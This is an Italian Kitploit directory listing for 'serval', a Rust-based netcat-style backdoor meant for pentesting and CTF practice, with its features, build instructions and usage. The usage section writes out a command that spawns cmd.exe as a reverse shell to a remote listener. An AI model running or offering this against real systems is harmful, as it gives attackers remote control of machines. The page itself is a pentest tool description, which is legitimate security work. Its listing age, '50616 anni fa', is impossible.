Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
serval — Una backdoor in stile Netcat per pentesting ed esercitazioni di pentest. | Kitploit
Strumenti/GitHubGitHub/tgadola/serval
Generazione di PayloadPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubtgadola/serval

serval

Una backdoor in stile Netcat per pentesting ed esercitazioni di pentest.

Vedi Repository
50616 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Un backdoor in stile Netcat per test di penetrazione e sfide di pentest

Serval è un binario leggero e facile da usare per generare shell reverse e bind per pentest o esercizi di test di penetrazione. Serval è multipiattaforma e può essere compilato sia per Windows a 32 e 64 bit che per Linux a 32 e 64 bit. Nota: Grazie alla flessibilità di Rust potrebbe essere possibile compilare per altre piattaforme (come ARM) ma non le ho testate.

Perché?

Ho sviluppato Serval per eliminare la mia dipendenza da netcat durante le sfide HacktheBox, poiché può essere fastidioso trovare binari netcat per Windows (soprattutto con l'opzione -e) ed è ancora più difficile trovare un binario da una fonte affidabile.

Caratteristiche

  • Cross-compilabile! Può essere compilato per Linux o Windows
  • Cronologia della riga di comando. I tasti Su e Giù scorrono la cronologia dei comandi.
  • Ricerca nella cronologia della riga di comando! ctrl-r per cercare inversamente nella cronologia dei comandi.
  • Modifica della riga. Backspace e i tasti freccia sinistra/destra funzionano!
  • Interoperabilità. Hai solo netcat sul target? Nessun problema! Il listener serval può comunque catturare la shell e fornire le funzionalità avanzate.

Installazione

Utenti Rust (Compila dal sorgente)

Scarica il sorgente da github

git clone https://github.com/tgadola/serval.git && cd serval-master

Scarica lo strumento

*Opzionale: Modifica il file di build in .cargo/config per riscrivere il tuo percorso di build.

Compila il binario per la tua piattaforma corrente.

cargo build --release

*Nota: v1.1.0 richiede Rust nightly

Puoi compilare per altre piattaforme usando

cargo build --release --target <target-triple>

Altro

Se sei un individuo particolarmente fiducioso puoi scaricare i binari precompilati qui.

Utilizzo

Per impostazione predefinita, Serval ascolterà o si collegherà a una porta e reindirizzerà l'input e l'output standard a tale connessione. Il flag -e genererà un processo e reindirizzerà il suo input e output standard attraverso la rete.

Avvia un listener

Serval ascolta su tutte le interfacce.

Usa il flag -H per attivare le funzionalità di modifica della riga e cronologia dei comandi!

serval -l 4400 -H

Genera una shell reverse

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Profitto

Ringraziamenti Speciali

Un grande ringraziamento a @kkawakam-transferwise e al loro crate Rustyline, che fa letteralmente tutto il lavoro pesante. Dai un'occhiata a Rustyline!

Grazie ai creatori e contributori di Clap! Dai un'occhiata a Clap.

Grazie ai creatori e contributori di Anyhow! Dai un'occhiata a Anyhow. +1 per il grande nome del crate.

Grazie a @jaynus per tutti i suoi consigli su Rust

Licenza

Apache 2.0. Vedi il file di Licenza per maggiori informazioni.